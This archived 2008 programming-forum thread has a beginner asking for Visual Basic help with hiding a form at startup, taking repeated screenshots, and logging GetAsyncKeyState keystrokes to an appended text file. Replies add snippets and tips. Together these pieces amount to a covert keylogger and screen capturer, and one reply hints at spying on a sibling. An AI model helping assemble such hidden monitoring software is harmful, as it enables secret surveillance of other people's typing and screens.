473,408 Members | 1,747 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,408 software developers and data experts.

Append to file; paste to Paint; Fast form hiding at startup; GetAsynchKeyState issues

Sorry that im asking a lot of questions, i know, but i have a lot of things im curious about...

Well to begin, how do i make sure that the file that i am printing to keeps the original text that is already located in that file?

Second... In a screen shot application that uses CTRL + PRTSC then pastes to PAINT and SAVES how do you make it paste into paint and not another program?.... Script below....

Expand|Select|Wrap|Line Numbers
  1. Public Class Form1
  2.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  3.         Me.Visible = False
  4.     End Sub
  5.  
  6.     Private Sub Timer1_Tick3(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  7.         Timer1.Enabled = True
  8.         Timer1.Interval = 3
  9.     End Sub
  10.  
  11.  
  12.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  13.         SendKeys.Send("^{PRTSC}")
  14.         Call Shell("C:\Windows\System32\mspaint.exe", AppWinStyle.MaximizedFocus)
  15.         SendKeys.Send("^V")
  16.         SendKeys.Send("^S")
  17.         SendKeys.Send("{Enter}")
  18.         SendKeys.Send("%{F4}")
  19.     End Sub
  20. End Class
^ Also is there a way for the Form to hide itself faster, because you can see it pop up then go away?

- Is there a way to make an output for GetAsyncKeyState not be in all capital letters? I'm having trouble with that....

Finally... How would you be able to change the characters that are logged into a file from GetAsyncKeyState from strange characters that aren't easy to decifer to get logged as normal keystrokes?... Can i have an example of this?


(You don't have to respond to all of this at once.... any help is appreciated) Anything that you know is much more than I do... so if you have anything to post about one of these post it)

P.S. - I HAVE VB08
Feb 1 '08 #1
7 1971
Killer42
8,435 Expert 8TB
As for the form visibility, you should be able to set it to False at design time. Either that, or don't start with a form. Start up your project using a sub in a module (if possible) then have it load the form without displaying it. I use VB6, so things may be too different. But I can just set the project to start up a sub called Main instead of a form.

Can you explain what you mean by "normal keystrokes" and "strange characters"? There are more characters than there are keys, so what do you want to do?

...how do i make sure that the file that i am printing to keeps the original text that is already located in that file?
Can you explain in more detail what you mean by this? Do you want to append to a file? And what sort of technique are you using to write to the file now?


As for Paint, you might be able to use an Automation interface to drive Paint the way we do with Office apps. If so, you'd have much more control than by pretending the user is pressing keys.
Feb 1 '08 #2
Killer42
8,435 Expert 8TB
Oh, and I'm not sure what you mean about capitals from GetAsynchKeyState. If I remember correctly, that tests the state of physical keys on the keyboard, not what characters are coming from them. The "A" key is still the "A" key whether cap-lock is switched on or not.
Feb 1 '08 #3
Oh, and I'm not sure what you mean about capitals from GetAsynchKeyState. If I remember correctly, that tests the state of physical keys on the keyboard, not what characters are coming from them. The "A" key is still the "A" key whether cap-lock is switched on or not.
well do you know how i can have this happen instead?
Feb 1 '08 #4
Killer42
8,435 Expert 8TB
well do you know how i can have this happen instead?
Sorry, I'm confused about what is happening, and what you want to happen.
Feb 1 '08 #5
daniel aristidou
491 256MB
This is for the ....brother control huh??
I was wondering whether it would be better to use the imagelist function that vb08 has....
instead of pasting it into paint.... Because it means you do not have to control another program...which might cause problems...it also then allows you to view the images back...
Bty inserting some simple buttons to go to view next and previous pictures
The code below is a guideline.....Made for vb6
You need to replace the picture1.picture ...with the location that you are gonna paste the picture
Expand|Select|Wrap|Line Numbers
  1. Private Declare Sub keybd_event Lib "user32" _
  2.         (ByVal bVk As Byte, ByVal bScan As Byte, _
  3.         ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
  4.  
  5. Private Sub Command1_Click()
  6.     DoEvents
  7.     Clipboard.Clear
  8.     keybd_event vbKeySnapshot, 0, 0, 0
  9.     DoEvents
  10.     keybd_event vbKeySnapshot, 0, &H2, 0
  11.     DoEvents
  12.     Picture1.Picture = Clipboard.GetData(vbCFBitmap)
  13.     DoEvents
  14.     Me.Refresh
  15. End Sub
Feb 1 '08 #6
As for the form visibility, you should be able to set it to False at design time. Either that, or don't start with a form. Start up your project using a sub in a module (if possible) then have it load the form without displaying it. I use VB6, so things may be too different. But I can just set the project to start up a sub called Main instead of a form.

Can you explain what you mean by "normal keystrokes" and "strange characters"? There are more characters than there are keys, so what do you want to do?

Can you explain in more detail what you mean by this? Do you want to append to a file? And what sort of technique are you using to write to the file now?


As for Paint, you might be able to use an Automation interface to drive Paint the way we do with Office apps. If so, you'd have much more control than by pretending the user is pressing keys.
OK, the module sounds like a good idea, ill try it out

Well i use GetAsyncKeyState to see what characters have been pressed and it gives me weird characters when i press a button for example, instead of recording the {LShift} key it uses the symbol ..... I want to try to make it so these symbols are changed to the actual keys..... and if there is another thing i could use to get character instead of keystrokes.... or to make GetAsyncKeyState record characters instead of keys

Well to write to the file i use this code......
Expand|Select|Wrap|Line Numbers
  1. FileOpen(2, "C:\DSO\DOSCOMMANDS.txt", OpenMode.Output)
  2.         Print(2, TextBox1.Text)
Everything first must be written to a text box before it can get saved into the file.... is there a way for it to go straight to the file instead of the textbox then the .txt document? And can i make it so that the text in the DOSCOMMANDS.txt document doesnt get erased everytime that the program runs and logs a key?

How do i use an automation interface? That sounds like a better idea...
Feb 1 '08 #7
Killer42
8,435 Expert 8TB
Sorry, heading for bed now (it's 1am but I will say this...

OpenMode.Output probably need to change (my guess would be OpenMode.Append) in order to append to the file.

GetAsynchKeyState is designed to report the state of the keyboard. How that then gets translated is another matter. I don't know how it's normally handled. You could just set up an array holding all the possible entries and what you want to call them. But I recommend some more searching first, as this function may already exist.

And to send your text to the file, I'd suggest you probably just need to use the Print statement multiple times.
Feb 2 '08 #8

Sign in to post your reply or Sign up for a free account.

Similar topics

13
by: genetic.error | last post by:
I'm moving from Vb6 to VB.Net. I have a feeling this has come up before... The VS.Net MSDN file seems to state that the following should work: Form1.Show Form1.Visible = True Form1.Hide...
1
by: John Michael | last post by:
I have created some password routines to protect certain forms from access without a password. This allows me to create some security for apps that will be used on diff machines for users that...
2
by: Mark | last post by:
I have a FE/BD 2002 DB on a XP pro platform. I know this is ugly but it works for me...... A text file is produced from our Oracle WMS. (Average 20k records) A command button deletes all records...
6
by: MLH | last post by:
I have a logo image that I can paste into MS Paint as an image with clear background. Think of the logo as a black circle in a white, rectangular background. When I paste into Paint, the white...
6
by: Jrsmith | last post by:
I am developing a mdi application that will act as a front end to a database. I am finding that when i show any of the mdi child forms in my application it is noticeable that the form is shown...
3
by: steve | last post by:
Hi All I have a VB.net 2005 App which has a form set as the Application splash screen in Project properties Another form is set as the startup form All works great until the splash screen...
1
by: laredotornado | last post by:
Hi, I'm using PHP 4.4.4 on Apache 2 on Fedora Core 5. PHP was installed using Apache's apxs and the php library was installed to /usr/local/php. However, when I set my "error_reporting"...
3
by: wvmbark | last post by:
First time poster... I just found this forum and it appears there's plenty of people here that could make short work of problem that's been driving me absolutely bonkers for months. Every day we...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...
0
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.